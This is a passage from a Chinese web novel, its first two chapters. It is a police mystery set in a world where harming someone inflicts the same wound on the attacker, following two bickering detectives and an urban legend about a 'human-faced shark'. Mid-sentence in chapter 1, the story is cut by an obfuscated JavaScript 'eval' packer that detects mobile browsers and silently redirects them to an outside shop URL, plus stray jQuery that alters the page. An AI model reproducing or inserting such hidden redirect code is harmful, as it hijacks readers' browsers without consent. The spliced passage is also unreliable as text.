《神曰:杀人者死》 1. 第 1 章 六月五日,中心市,城南,东区,朔东分区。 近日,康明大街96号的胡同里发生了一起罕见杀人案件,现场有死者两名。 一名死者胸口发现有五道刀伤,其中划伤三道,刺伤两道,另外肩膀遭受划伤两道,脸颊受到划伤一道,尸体上发现明显损伤共有八处,均为刀伤。根据伤痕比对,认定为同一柄水果刀所致。 现场在另一名死者身上,发现相同的八处刀伤,位置,伤口深度均一致。 判定为一起...普通刑事案件。 斌北看着地上的两具尸体,肯定的说。 他手里捏着录音笔,白色的短袖衬衫上别着一枚金属材质的徽章,一枚警徽。 中心市城南警察总局并不要求穿着统一的警服,但警徽就足够证明他的身份了。 斌北往巷子里走了几步,继续对现场情况做出推理。 “两名死者均带有皮革材质徽章,蓬头垢面,初步判断为周边□□分子。 其中一名死者手中握有水果刀一柄,判定此人为本起案件的凶手,结案。” 斌北淡定的说完,收起录音笔,偏头去看蹲在地上仔细观察两具尸体的搭档,有些不耐烦的道: “喂,结案了,还有什么好看的。” 蹲着的警员没有理会他,自顾自继续观察死者的尸体。 在予杏看来,现场除了一眼可见的真相以外,还有一些有趣的线索。 就现场的情况来看,他们在同归于尽之前应该是发生了激烈的争吵,持刀死者的眼球充血,他的情绪亢奋,亢奋到足以短暂的忽略疼痛。 持刀死者胳膊上的血迹成形长水滴状,有一部分飞射在了两边的墙壁上,断气前他应该大力挥舞过手臂,这只手臂的手腕上有一皮革材质的手环,手环上是和他衣服上同款的徽章图样。 现场可能还有第三个人在场,并且和持刀凶手属于同一组织。 这就说明,有可能这不是简单的激情杀人,而是教唆杀人。 不过只是有可能而已,而且中心市的法律目前对教唆杀人的立法还不完善,追查下去大概也没有意义。 “喂,到底有什么好看的。”斌北再次发出了催促的声音。 “明明知道的自己也必定会死,没有一丝可以侥幸的空间,人类为什么还是要互相攻击,所以,”予杏饶有兴趣地道,“最后的一刀究竟为何落下?” 斌北没有说话,他看向两具尸体的眼神格外清澈,回答也是格外简单。 “我哪知道。” 为什么落下呢? 不明白。 明明在这个绝对公平的世界里,就像生命注定会死亡一样,伤害他人的□□,自己的□□上一定会出现一模一样的损伤,就是这个世界永恒的定律。 万神教,世界上最伟大的宗教之一,将这种定律命名为“反噬”。 “反噬”会公平的降临在每一个人身上,杀人者死,伤人者伤。 斌北托着下巴,眉头越拧越紧,他定定地站在原地思考了良久,还是想不通为什么有人会想着杀人。 斌北目光放空,很快就放弃了思考。 “那些混□□的疯子为了所谓的帮派道义一个个视死如归的,我要是能理解他们的想法,我不也疯了吗?” 他是警察,警察不需要知道杀人的那个疯子自杀的原因。 他只需要确定是谁是凶手,谁是被害人,然后责令凶手的家属赔偿一笔巨款给被害人的家属就可以了,他们警察这个岗位的职责只是如此而已。 “不管了,总之已经结案了,别瞎看了,我们回警局吧。” 斌北不耐烦的催促予杏,他仰头看了看太阳,天边的烈阳微微向西下沉,现在约莫是下午五六点了吧,再不快一点的话赶上下班高峰期,马路上会被堵的水泄不通,那样的话还不知道什么时候才能赶回警局。 予杏叹了口气缓缓起身,他站直了身体,微微垂直头一言不发。 过了好一会儿予杏闭了闭眼,像是做了一番心理斗争似的,过了会儿才缓缓地道: “你急着回警局?” “是啊。” “拍照了吗?” “什么拍照。” “......” “问你话呢,说话啊!” “现场照片。” “......忘记了,”斌北几乎没有犹豫,“你会不拍吗,老是指使我我做事?” “......” “你小子特喵的又不说话,你什么态度!” “照相机在你口袋里。”予杏指了指斌北身体一侧的口袋,然后再不说话了。 斌北:“......” 予杏和斌北的关系非常不好,他们虽然是搭档,但是从第一次见面起就不对付。 在这个暴力不了一点的世界,警察主要工作就是追捕小偷,拉开激情吵架的酒鬼们,和诈骗犯斗智斗勇,以及一点点基础的推理。 因为这样岗位的需求,所以警局对警员们的能力要求也很简单,较高的道德品质,强壮的身体,会擒拿术,运动能力。 道德暂且不说,予杏天生就不是什么有运动细胞的人,他没什么物理攻击力,对于警署要求超高身体素质要求一点办法都没有,用他父亲的话来说,家里养的猫攻击性都比他强一些。 但是予杏想成为一名警察。 大学毕业之后他连续考了三年也没有通过警察考试。 就在予杏决定试图潜入警察署办公室修改自己的成绩的时候。 他被破格录取了。 予杏还记得那天是早上八点十二分五秒。 他去警局办理就职手续。 那天斌北刚走进警局就看见坐在塑胶长椅上的乖巧翻阅警察手册的予杏,作为一名专业的警员,斌北立刻做出了自己的推理。 今天是五月十八号,中心市中学考试的第二天,警局的附近就有一家公立初中,合理推断这个孩子是来参加考试的,但他遇到麻烦了,可能是找不到考场或者是准考证丢了。 作为一名热心的警员,迈着大步上前,堆出亲切的笑容询问到:“小朋友你来警局做什么?遇上什么麻烦了吗?找不到考场?” 予杏仰头茫然地看着斌北,这个圆眼,黑皮,长得有点像大型猫科动物的警官挂着不真切的笑容,眼里还还带着一点莫名的洋洋得意。 予杏有点生气,虽然他的身高只有一米七六,长相略微秀气了一点,但被叫做小朋友也太过离谱了一点。 予杏垂下了眸子,嘴角微微下降了一个像素点的弧度,带着这种几乎没人能察觉到的恶劣情绪,予杏冷冷的道: “我没有遇上任何麻烦,我叫做予杏,是新来的警员。” “新来的警员?” 斌北的惊呼声响彻了警局,他倒是听说过今天会有新人来,但完全不相信新人是眼前这个在在他看来更像是中学生的家伙。 他抱持着谨慎的态度上上下下的打量了予杏一圈,然后一只手抓住予杏的衣领将他整个人从座位上提了起来。 斌北还是不相信这个面无表情的家伙,是新来的警员,首先他的身高不够,达不到警局最低要求的一米八五,短袖下的手臂更是没有一点肌肉,还长着一张漂亮的脸,斯文秀气,带着一点老人们口中的那种叫做学生气的气质。 不能说是武德充沛吧,只能说是小兔子一只。 就算是明天的太阳从他家冰箱里升起,他也绝对不相信这个孩子会是警局新来的警员。 他轻蔑地笑了一声道: “你初二的吧,今天放假?跑警察局来搞恶作剧?” 予杏双脚离地,面无表情对上斌北的眼睛,冷冰冰地眼神说不上多凶狠,但是却让斌北莫名的不想继续开口说话了,他默默松开了手让予杏落回地上。 予杏简单理了理衣角之后,从口袋里拿出一张纸继续道:“我很讨厌和傻瓜解释任何问题,这会让我觉得自己也很傻,我的警员证正在办理,这是指派书。” “这怎么可能,你才多大。”斌北几乎是脱口而出。 予杏:“......” 斌北看了一眼予杏递来的纸,虽热他的脑子确实不是很灵光,但白纸黑字红章章他还是能看明白的。 斌北随即就愣住了,他不敢相信这个瘦瘦的皮肤过分白皙的小家伙是他新来的同事,他明明怎么看都不像是能通过体能测试的样子。 斌北嘴巴快于脑子的人,他脱口而出:“你是怎么通过体能测试的?” “......” 予杏又沉默了,他压根就没通过体能测试,他是破格被警局录取的,破格录取他的原因是中心市的上层表示实在是不能忍受手下这群只有肌肉没有脑子的警察了。 就算这是一个没有暴力的世界,警察也应该有脑子。 得不到答案的斌北追问道:“你说话啊。” 予杏:“你只需要知道结果,其他的与你何干?” 斌北沉默了一会儿,居然用一种恍然大悟般的语气道:“对啊,还真是。” 予杏:“......” 那一刻,予杏没有话说,但是得到了很多的结论。 第一,警察真的是没有脑子的生物。 第二,眼前这个人格外的没有脑子。 第三,自己跟他没什么好说的,如果可以,以后尽量都不要和他说话。 然而世道常常欲益反损,事与愿违。在警长的要求下两人成为了搭档。 七月三日 中心市城南总局的警局的办公室里。 予杏坐在办公位上捧着一本书静静的翻阅,斌北坐在他旁边的办公座上郁闷地用纸折了扇子,有一搭没一搭费力的扇着。 没有风,但是很吵。 “喂,新来的,你说这个破天怎么这么热啊?” “......” “今天的有37度了吧?” “......” “唉,你说城南这片又不靠海怎么空气湿度也大。” “......” “热死了,破天气什么时候才到头啊。” “......” 可能因为气温升高,斌北的脾气也变得有些暴躁,半天得不到回答,忍不住提高了音量大声道:“问你话呢?你好歹回一句啊!” 予杏的视线从书本上移开,淡淡看了他一眼,然后冷冰冰的开口道,“傲慢者沉默不语,愚蠢的野兽大声咆哮。” 斌北:“......” 斌北不知道说什么好,他感觉自己好像被骂了,但是不确定,因为好像予杏连他自己也骂了。 “你...什么意思?” “没什意思,童话故事。” 予杏的用指关节点了点手里的书。 “我不信,我看看。” 斌北不由分说就从予杏手里抢过了书。 这本与其说是童话故事不如说是历史传说。 传说,一千年前驯兽师卡扎菲利用凶恶的野兽,企图依靠野蛮的力量获取权力。他的凶兽咬伤了村庄里的人,人们恐惧于那深渊一样的巨口,纷纷跪倒在地。直到勇士李出现,李奋勇冲杀,最终杀死了凶恶的野兽。李用断剑杀死野兽之后,又将这柄断剑深深刺穿了卡扎菲的胸膛。他本应该与卡扎菲一同死去的,但是人们祈祷,唱响赞歌,于是天上的荣光降下,正义的勇士在朝阳下复活。黎明剑也就是传说中的那柄断剑成为了家喻户晓的神器。 但在后世的研究里,对于黎明神剑的存在始终存在争议,有神学家说那应该一柄来自上天的光剑,也有学者说那是民众的一厢情愿,其实李当场就死了,在少见的基本野史里又说,那根本不是剑,是木棍,画架,甚至有说是钥匙的。 “黎明神剑的故事?这有什么好看的?” 斌北一脸疑惑,他小学的时候很喜欢这个故事,还买过塑料小剑,但上了初中之后,学了历史得知卡扎菲的恶兽只是一只大狗之后,就对这个传说嗤之以鼻。 “你多大了,还相信世界上有黎明神剑?” “......” 对于斌北莫名奇妙的鄙视,予杏只有一声‘呵呵’回应。 斌北虽然脑子不是特别的灵光,但是他明显感受到了来自予杏的嘲讽。 斌北憋着口气,他决定了。除非予杏先开口,不然自己绝对不要和这个新来的小子说话。 虽然斌北也看予杏非常不爽,但是不知道为什么,除了他以外,警局里的前辈们却非常喜欢那个阴暗的矮子,时常围着那个家伙团团转圈。 凭什么? 凭他一己之力拉低了警局的平均身高吗? 斌北对此非常不屑,纸扇子也不扇了,靠在椅背上仰头去看天花板上吱吱呀呀缓慢旋转的风扇,警局的天花板太白了,衬托着老旧的风扇扇叶油腻发黄,边缘还有黑色的不知道是灰尘还是蜘丝的赃物。 斌北闭了闭眼睛,窗外的蝉鸣,纸页翻动的声音,咀嚼水果的声音,熟悉的声音仿佛来自遥远模糊的城市,嘈杂但让心灵静谧,伴一束暖阳从窗外照射进来,夏天,让人昏昏欲睡。 “嘿,斌北警官,哎呦,你怎么一大早就在警局里睡大觉啊。” “没有,我没有睡觉。” 斌北几乎是条件反射一样的一个挺身从椅子上站了起来。 他缓了一会儿才看清楚来人,她穿着浅黄色及膝长裙,带着一顶雾蓝色遮阳帽,褐红色的太阳眼镜在室内也不摘下,胸口别着一枚胸针,上面写着‘中心市保险公司’的字样。原来是常和自己对接的保险理赔工作的洛阳花女士。 斌北松了口气坐回椅子上, “是你啊。” “你少开一点小差就不会被我吓到了。” 洛阳花女士的脸上挂着狡黠的微笑,太阳镜下的眼睛弯弯的,看的出她今天的心情不错。“新案子的案件报告呢,你应该写好了吧。” “啊...这个...” “写好了,给你。” 予杏不知道什么时候走了过来,手里拿着一份文件递送给出去。 “你是?” “我是新来的警员,和斌北一起负责重大刑事案件,以后案件所需的文件都可以来找我拿。”予杏淡淡地着自我介绍道。 “哦哦哦,那真是太好了,终于有个靠谱的警官了,还是个帅哥呢。”洛阳花女士巧笑嫣然,同时悄悄用余光观察斌北的反应。 斌北脚下一用力转动转椅,背对着他们,一副再也不理会他们了的样子。 洛阳花女士笑得更加欢快起来。 予杏:“根据我们的调查,被害者已经没有亲人在世了,加害者却还有一名年过六十的母亲住在养老院,她没有买过任何养老保险。基于目前的情况看,我们警方是没法追责赔偿金了,我很好奇,你们中心市保险公司会怎么处理?” 洛阳花翻阅着文件轻笑了一声, “这个嘛,我们可能会以万神基金会的名义援助为那名可怜的老人一定的养老费,不多,但应该足够她安度晚年了。” “即使她是加害者的母亲吗?” “警官,她没有伤害任何人,她也是可怜的受害者。” “......”沉默一会儿后,予杏轻笑了一声,“万神教会成为中心市数一数二的大教派也不是没有道理的。” 予杏听说中心市保险公司的董事长是一名虔诚的万神教信徒,她遵守万神教的每一条教义,并将第一卷第十条:‘若有余力,帮助他人’奉为一生的信条。 万神教近些年在中心市的发展,来自中心市保险公司长时间的真实援助,可谓功不可没。 “警官,你信仰哪门宗教?” “再开玩笑吗?警局人员必须无宗教信仰哦。” “哈哈哈,是个玩笑呢。” 洛阳花女士说着话,已经简单翻完了文件,确认上面的应该盖章的位置已经全部盖好了,她满意的合上文件,又多看了这个年轻的警官两眼,总觉得有点熟悉。 “我们以前见过吗?” “可能有吧,但,抱歉我记不得了。”予杏摇着头道。 可能是自己搞错了吧。 洛阳花女士默默在心底摇摇头,随后道: “文件我已经确认收到了,那么我就先离开了,再见,两位警官先生。” “嗯。” 斌北死死盯着予杏回去自己座位的背影越想越气,他根本一句话都插不上,明明自己才是前辈,现在倒像是被这个新来的小子比下去了一样。 斌北很想现在就冲到予杏的桌前,大声告诉他以后这些事情都有他来处理,只要把写好的报告放在他的桌子上就好了。 但是刚刚予杏一句话也没和自己说,不行,他不能打破‘除非予杏先开口,不然自己绝对不要和这个新来的小子说话。’的原则。 然而斌北的记性似乎并不是很好,他默默的生气并坚持原则也没有几天,很快就把原则抛之脑后了。 又过了几天,7月20日。 通往小南区德兴街57号的路上,斌北驾驶着警车飞驰在城市边缘地带的马路上,沉闷的车厢里四个人一言不发。这股莫名其妙的压抑气氛让斌北觉得浑身难受。 他突如其来的开始发难,皱起眉头,对着副驾驶坐上的予杏大声吼道:“喂,我说报案人就没有提供更详细的地址吗?这么模糊怎么找,你知道德兴路那片多大嘛!你在电话里就没有通知他留在现场给我们带路?” 予杏:“......” 予杏撑着下巴看着车窗外风驰而过的树影,一如既往的沉默,对斌北的责难熟视无睹,一副完全不想搭理他的样子。 倒是后座的后勤人员一听这话,纷纷不乐意了,摆出前辈的架子开始责怪斌北。 “喊那么大声干什么,差不多就行了,你少说两句,人家小予才刚来,还是个新人,你好好跟人家说话。” “就是就是,好好开你的车,哪来这么多废话。” 斌北:“......” 什么少说两句,他根本才刚说了一句话而已。斌北觉得很不公平,局里的前辈都惯着这个新来的,就连鉴识课的前辈都帮着他说话,他刚来警局的时候还经常挨骂,根本不是这个待遇。 予杏还是保持着撑着下巴望向窗外的姿势,轻飘飘地若有似无的说了句:“德兴街57号那一片都是尚未施工完成的烂尾楼,原定预计建设的德旺花园小区因为建筑方的失误尚未在楼栋上标注准确的楼栋号,所以现在我们没有更具体的地址,另外我有请报案人在原地等我们给我们带路。” 斌北:“你怎么知道的?你去过?” 予杏:“......” 斌北:“你既然通知报案人了,为什么不早说啊。” 予杏:“......” 斌北:“喂,回话啊。” 予杏:“...我没去过但是出发前看了地图,另外我上车之前已经和你说过一遍了,现在是第二遍。” 斌北有些尴尬的沉默下来,予杏也很无语。 社会新闻偶尔提起警察的时候,笔者总是毫不客气的大骂他们都是一些脑子里长满了肌肉,母胎肄业的白痴。以前他觉得骂的是不是太狠了一些,现在看在来都是一些很诚恳的评价。 尴尬又不愉快的气氛一直延续到了车子抵达目的地,小南区德兴街57号。 斌北一下车就傻眼了,就和予杏说的一样,这一片都是烂尾楼,中心城很少见人迹如此荒芜的地方。 小南区这片本来是要开发的,不少商家都在这附近进行了大笔的投资,但据说中心市的教会监管组织的领导觉得这片风水不太好,他说出这句话之后,小南区这附近的开发就陡然全部喊停了。 眼下的烂尾楼,楼栋之间的不知名杂草肆意疯涨,足足由半人高,即便土壤并不肥沃,杂草的尖端都不同程度的枯黄。然而杂草却没有一刻停滞生长,蓬勃地,蛮横地占据了全部的楼栋间的通路,就连一些靠近的一层阳台也不能幸免,薄薄的混凝土上也会冒出一两根绿芽。 这么荒芜的地方平时是没有人走动的,连人都没有的地方,能在这里发现新鲜的尸体本身也是一件新鲜的事情。 报警人在距离案发地一公里外的一间公共电话亭门口等着他们。 斌北打量着眼前这个老者,他年纪应当很大了,弓着朽木一般的背半暴露在满是破洞的长袖衣衫之间,手上有厚厚的老茧,满是皱纹的脸上还挂着一点尚未退散完全的惊惧。 斌北:“你就是报警人?” 从拨通报警电话到现在已经过了大约一个小时了,此时看着眼前这个高大精神的黑皮警察,老人仿佛得到了莫大的安全感,说话的声音也不像打电话的时候那么颤颤巍巍。 拾荒老人:“是是是,就是我,哎呦,你们可算来了。” 斌北:“你是在哪里发现尸体的?” 拾荒老人:“就在前面的那个工地里。” 予杏:“请您带一下路吧。” 拾荒老人:“好好好,你们跟着我走哦,小心路,这附近的路都不好走,虫子多还有蛇有瘌□□。” 斌北:“这一片真荒啊,完全没有人住吗?” 拾荒老人:“对啊,抗议的也早走光了,我平时也不走那一片走的,最多远远的看一眼就回去了。” 予杏:“您是什么时候发现尸体的?” 拾荒老人:“就是今天早上,我平时也不太里这里,一般周三周五会来看一眼,唉,其实这里也没什么好捡的,我就是想着万一,万一还能继续建设呢。” “前阵子我发现居然还有人住在这里,还以为又是来找开发商抗议的,就想去问问他是不是有开发商的消息。” 予杏:“您见过死者们?您认识他们吗?” 拾荒老人:“不认识,不认识,我就是想去找他谈谈的,但是被他赶走了,我也不敢说什么,但偶尔来的时候,会绕一绕从他家楼下路过。” 斌北拧着眉头插话道:“那你是亲眼看见有尸体的吗?” 拾荒老人:“看见了,我在楼梯上的时候就看见了,一个男的倒在那里,好多的血,吓死我了。” 斌北:“那也可能是他受伤了啊,你应该先联系医院,怎么就确定他是死了打给我们警察?” 拾荒老人:“啊,这个...” 斌北停下了脚步,跟在他身边的老人也不得不停下来,老人吞了吞口水,他努力仰起头,混浊的眼睛与斌北略显凶恶的下垂眼对视一眼,慌忙移开了目光,不敢再说什么。 斌北倒不是在生气,他只是天生的凶脸,面无表情的时候看起来就像是在发飙一样。这点和予杏正好相反,予杏倒是天生嘴角上扬,看起来一直在笑似的。 予杏没有一点要停下来的意思,他自顾自地继续往前走,目光下垂不紧不慢地用一种冷冷的语气陈述道: “今天的气温是三十八点六摄氏度。” 他一个人走在前面,老人于是越过了斌北跟在他的身后,两名鉴识人员也跟着予杏走,很快原地就只剩下一头雾水的斌北。 斌北疑惑的思考了一忽儿,大脑里像是一对打结的毛团,是这也想不通,那也想不通,两步追上众人,询问道: 斌北:“你刚才是什么意思?为什么突然扯什么天气的,你讲给我听听啊。” “......” 予杏看了看他,然后默默的叹了一口气,就继续往前走,看见他往前走了,拾荒的老人也跟着快步向前,又留下了斌北一个人在原地。 斌北这回觉察出一点不对味来,那个新来的小矮子刚才那个表情是不是在的鄙视他? “就是那栋楼。” 寻着老人手指的方向,予杏和斌北看到了位于工地最东面一栋楼。 “就是那栋楼,很好找的,你们能不能自己去,我信仰的宗教里看见死人是不祥之兆。”拾荒老人可怜巴巴地道。 予杏:“当然可以,您可以给我们提供一个住址吗?如果后续有需要我们可 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13375916|141006||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 能还得打扰您。” 拾荒老人:“行,我住在,害,我现在哪有什么住的地方啊,要找我的话朝着东面一直走,过了风车小巷左转两个弯就能找到我了。” 予杏:“辛苦您了。” 拾荒老人:“没事没事。” 斌北站在一边皱着眉头一脸不爽,报案人当然可以离开,但是一般不应该跟他们要个电话号码什么,到时候直接给他打电话问情况就好了,还要问地址这么麻烦。 他是这么想的,但没有说出来,他都能想象到自己问出来之后,予杏一言不发的样子了。 斌北憋了大概一分钟,还是忍不住开口道:“喂,为什么不留个电话号码。” 予杏用一种无可奈何的语气回道:“...如果他有手机的话,为什么要去公共电话亭报警?” 斌北仔细想了想,恍然大悟。 几人刚走近拾荒老者指着的那栋楼,一股子浓烈的,让人睁不开眼睛的恶臭就扑面而来。 甲硫醇、甲硫醇以及氨交错混杂的刺激性气味弥漫在空气之中,夏日苍蝇“嗡嗡”的噪声聚集在这附近,站在这栋楼前,只是大口呼吸就熏的人头晕目眩,摇摇欲坠。 拾荒老者被住在这里的人赶走一次之后,就只偶尔在附近晃悠,他并没有主动上楼去查看的意愿。 那么是什么吸引他上楼去查看的呢? 就是这股熏的人睁不开眼睛的,可怕的尸体尸体糜糜腐烂后散发出的恶臭吸引,他才会忍不住上楼去查看的吧。 如果人类的身体散发出这种,生物死亡后三到六小时后,肠道内的腐败菌繁殖生长,从而产生的腐败气体的味道,那么他活着并需要医生的概率小到基本可以忽略不计了。 “天哪,怎么会这么臭。”斌北捏着鼻子嗡声嗡气地道。 予杏没有搭腔,只是默默在心底做出初始判断。 第一、现在是三伏天,尸体会更快的散发出尸臭,根据老者所说地上的血迹已经干涸了,死亡时间应该超过二十四小时。 第二、老者每周三,周五回来这里,今天是周三,初步推测案件应该发生在上周日至本周二之间。 拾荒老人没有具体告诉他们是在几楼的房间里发现的尸体,但是循着恶臭的气味以及大量喧嚣的苍蝇,四个人很快就找到了位于烂尾楼三层,楼梯正对面的那一户门洞。 说是门洞因为现场根本没有门窗,站在门外的楼梯上就能够看见屋内大片的血迹以及一具男性尸体。 予杏拿出录音笔,清冷镇定的声线淡定地道:“确认发现尸体,现在时间为2024年7月20日下午三点二十四分五十二秒。” 予杏走进房间四下打量起这个空间,房间里没有什么像样的家具。 一张餐桌,三把餐椅,一个发电机,一个老旧小冰箱,一张床垫,锅碗筷等厨具,一些厨房用品,一些临近过期的食物,堆放衣物的塑料箱,一个便桶。 零星可数的家具,使得整个屋子看上去非常简洁。 死者只有一名,性别男,目测身高大约一百七十公分,中等身材。 男性尸体呈现出俯面半跪状,他的脸部贴合在餐桌边沿上,椅子倒在他身后半米左右的位置。 死者穿着一件浅蓝色的长袖涤纶衬衫,外面是黑色的粗制西装外套,他打了一条红色的领带,衣领被打理的很服帖,下身是黑色的西装长裤,这一身的行头价格不会超过三位数,可见死者的经济状况并不很好。 尸体的头部面朝下落在桌面上,左手手垂在身侧,右手撑在桌面上手中反握着一柄匕首,诡异的是匕首上沾着已经干涸了的诡异蓝色液体,看上去应该是血液。 蓝色的血,无论如何都不应该是属于人类的。 尸体已经软化,尸斑能够完全压退,角膜高度浑浊,口腔粘膜及眼结合膜自溶,确定死亡时间超过24小时,根据现场破损的时钟,以及便携式照明灯开关停留在开启状态这点看,推测案件发生时间是夜间。 死者的血流淌了一地,由于现在是夏天,天气炎热,血几乎都已经烤干贴合在地面上,不知道有没有渗透进混凝土夹层之中。 予杏初步勘察完现场,诺有所思的垂眸思考。 “小予,你来看。” 予杏走到鉴识人员身边,看见他们的手指向混凝土飘窗的位置,之间飘窗台的灰尘之中又两个长约四十厘米的长条痕迹,留下来更多的尘埃。 予杏:“粘液?” 鉴识人员:“对,我们也觉得是粘液,这里是不是曾经放过什么东西?” 予杏:“不是,这两道痕迹略微有些前后差距,前宽后浅。” “难道是有什么东西拖过的移动痕迹?”鉴识人员愣了一下,“难道说有什么脚长成这样的怪物从这个洞口跳出去了吗?” “......” 太诡异了,现场的情况看起来就像是存在什么非人的生物一般。 苍蝇烦人的声音预发嘈杂,“嗡嗡嗡”的好像不只是耳朵里传来的声音,大脑里传来的声音也是“嗡嗡嗡”的。 予杏透过飘窗的洞口往外看去,太阳将空气炙烤的快要解离,高高的枯草从中,黑暗在阴影处蔓延。 似乎有什么就在那里,似乎有什么长在望向这里。 予杏缓缓呼出一口气,闭了闭眼睛。 “人脸鲛...” 从进门开始就缄默不语的斌北冷不丁发出一声呓语。 予杏回过身仔细地观察他的神情,他的瞳孔略微放大,身体略微向后倾斜,手紧紧握拳,似乎有一点紧张。 他从进门之后就显得有些不正常,但是予杏也没顾得上他。 予杏:“人脸鲛?你知道什么吗?” 斌北像是被惊醒了一般,眼睛猛地一睁一闭,扯着嘴角说道,“啊?额,不知道,但是,这,这你看着现场也太奇怪了,呵呵。” 斌北孤零零地笑了两声,话锋陡转,“那个,予杏,你有什么发现吗?” 予杏:“......” 现场确实很奇怪。 第一、死者穿着西装外套,一般人独自在家里应该不会着装这么正式,死者看起来正在或者正准备和人见面。 第二、死者与人会面桌子却没有任何的茶水,猜想可能因为死者经济拮据,但是厨房里还有半包茶叶,所以更有可能的猜测是死者和这位来访者的关系并不怎么好。 第三、死者的手中握着一把匕首,匕首上面沾着奇异的蓝色血液,就从血液的颜色来看,就不可能是人类的血液。 第四、死者的伤口很深,凶器几乎贯穿了他整个心脏,而死者手中的匕首的长度只有大约十五公分,可见并不是就伤口切面来看凶器应该不是这柄匕首。 当然,最让人想不通的一点是,现场没有另外一具尸体,当然如果凶手是一个怪物的话那就都不是问题了。 蓝色的鲜血。 足头纲动物由于血液中含有铜所有血液呈现出蓝色,常见的例如章鱼、乌贼以及鲎他们的血液都会呈现出蓝色,中心市是内陆城市,这些生物在中心市里并不常见,就是海产市场见到的也不多。 为什么要在现场留下蓝色的血迹这一点他也没有头绪。 予杏上上下下扫视了这个单薄到可怜的屋子一周后淡淡的道: “死者看上去就像是和什么诡异的东西战斗,然后不幸身亡了一样。” “怪物什么,不存在的吧。” “不一定,所以人面鲛是什么?” 听到予杏再次提起那个词,斌北明显变得紧张了。 予杏盯着他的眼睛,可以看见他的瞳孔在眼眶中明显的在不规律的颤抖,像是在畏惧什么。 “你在说什么啊,传说故事吗?我们警察是不能信奉宗教的。” 予杏静静地站在那里,看着斌北脸上伪装的很差的紧张情绪,他的精神似乎越来越紧绷了,视线不断地飘忽到在屋子里最诡异的把柄带着蓝色血液的匕首上。 虽然没有头绪,也不知道蓝色的血到底让斌北想到了什么,但是予杏目前知道的是,让斌北保持这种紧张的精神状态不利于追查活动的开展。 “是嘛,你觉得没有就没有吧。” 予杏没有再继续逼他,上前开始处理现场,移走尸体,清理物证,封锁现场他还有的忙的。 虽然一个精神紧张的人很容易说出秘密。但对于同事,没必要这样追根究底。 予杏走远一点后,斌北像是狠狠松了一口气,靠在混凝土墙壁上,低头死死盯着自己的鞋尖。 回去警局的路上已经是晚上七点了路上还是堵的厉害,鉴识人员随同运输尸体的车已经先走一步了,现在只有予杏和斌北同行回警局。 车里倒是和来的时候一样,弥漫着诡异的沉默。 斌北一言不发的开着车,予杏点着手机翻找网络上以及警局系统里能找到的全部关于“人脸鲛”的信息。 人脸鲛杀人事件,都市传说,传说只要找到来自深渊的教徒,付给他们一笔钱。他们就会召唤出一种名叫‘人脸鲛’的怪物,帮你做一切你想做却不能做的事情,杀人,放火,实施暴力。不用再受“反噬”的困扰,受害者倒下的现场除了他孤零零的尸体什么都不会留下。 予杏心不在焉的看着,自从人类这个物种诞生以来,人们穷尽了想法,想要杀死别人,甚至没有原因的,不论结果的,纯粹的想要杀死别人。 从历史上的“黎明之剑”、“光明神之矛”、“落海瓶”等神器到现在网络上的“格蕾丝女士”、“徘徊幽灵”、“台阶巨口”等等的怪物,层出不穷。 予杏慢慢往下翻,再往下网页的,搜索结果大都变成了广告和大篇冗长拗口的咒符,有用的信息更是寥寥无几。 打开警察的系统查阅,警局的网络系统建设的并不完善,很多资料只有一个空空的文件夹。 但予杏对比了一下,网上那些宣称是“人脸鲛”犯下的案子虽然警方对外发布的是‘已证实均为自然死亡’。但警局的档案里有些是空文档,还有些显示‘尚未结案’。 看来是对这些案子还有疑虑,只是为了避免群众恐慌,所以隐瞒了大众。 斌北是因为这些旧案的缘故才会变得紧张的吗? 还是说有什么其他的原因? 斌北:“你看着我干嘛?” 予杏:“我觉得有些有趣。” 斌北愣了一下,他还以为予杏不会回答他的问题的,“什么东西有趣了?” “你说那个烂尾楼荒郊野岭的,又出了这么一桩奇怪的案子,是不是有开发鬼屋的潜力呢?” “什么?你到底想说什么,你能不能好好说话?” “坏事不一定是坏事,好事不一定是好事,说不定眼前诡异一切都是商家为了炒作故意设计的,你不是不信教人士吗?你应该也清楚吧,世上没有怪力乱神。” “听不懂,你到底什么意思?” 予杏:“......” 予杏深吸一口气,“我是说....” “有没有可能,根本没有怪物,现场又不是密室,进出很方便的,可能是有人为了某种目的布置了现场。” “......”斌北反应了一会儿,突然像是受到了什么启迪,大声的道,“你这么说我就懂了嘛,对啊,你说的对啊,现场可能就是伪造的,可能就是有不良商家发现了这里觉得适合开发做鬼屋,正好遇到两个人死在这里,就故意将另一具尸体抬走,伪装成是...干的,很有可能的对吧。” “好,我们现在就去调查全市的不良商家!” “......”予杏沉默了一小会,强忍着一头撞死在车玻璃上的冲动,“没有那种商家,我们应该去找更有可能的嫌疑人。” 斌北大受启发连连点头,“怎么找?找谁?” 予杏:“......” 看予杏又摆出那副一言不发的死样子,斌北又气又急,“你说话呀!” “...显然,我们得先从受害者的身份开始调查。” 2. 第 2 章 我的名字叫做瑞达达,是一个无信仰,不信奉任何一门宗教的人。我下定决心,一定会在中心市闯出一番名声。 “哎,哎哎哎,你自己看看,你写的都是些什么玩意啊,这种东西也好意思拿来给我看,赶紧拿走啊。” “好。” 瑞达达抱着稿子走下楼梯。边走边在心底告诉自己,主编就呆子,他的眼睛是瞎的,脑子是傻的,嘴巴是臭的。 瑞达达走出了报社大楼,点燃了一只烟。 瑞达达告诉自己,他一点都不在意主编的猪脑子在想什么,一点都不,他注定是要在中心市扬名立万的人,没有必要在意主编这种小人物的想法。 或许他只是赶着要去参加集会。 也可能是报复自己不加入他们的教派。 或者还有其他可能。 ...... 不,他不该想这些的,他不在乎,他一点都不在乎。 瑞达达狠狠把烟头投在地上,狠狠踩灭火星,然后扔进烟头垃圾桶。 瑞达达带着自己的便宜相机在街上瞎逛,他没有任何的宗教徽章,所以没有人和他说话,甚至没有人多看他一眼。 直到太阳落山他也没有什么发现。 毫无收获的瑞达达决定今天就先放过自己,先去喝一杯。 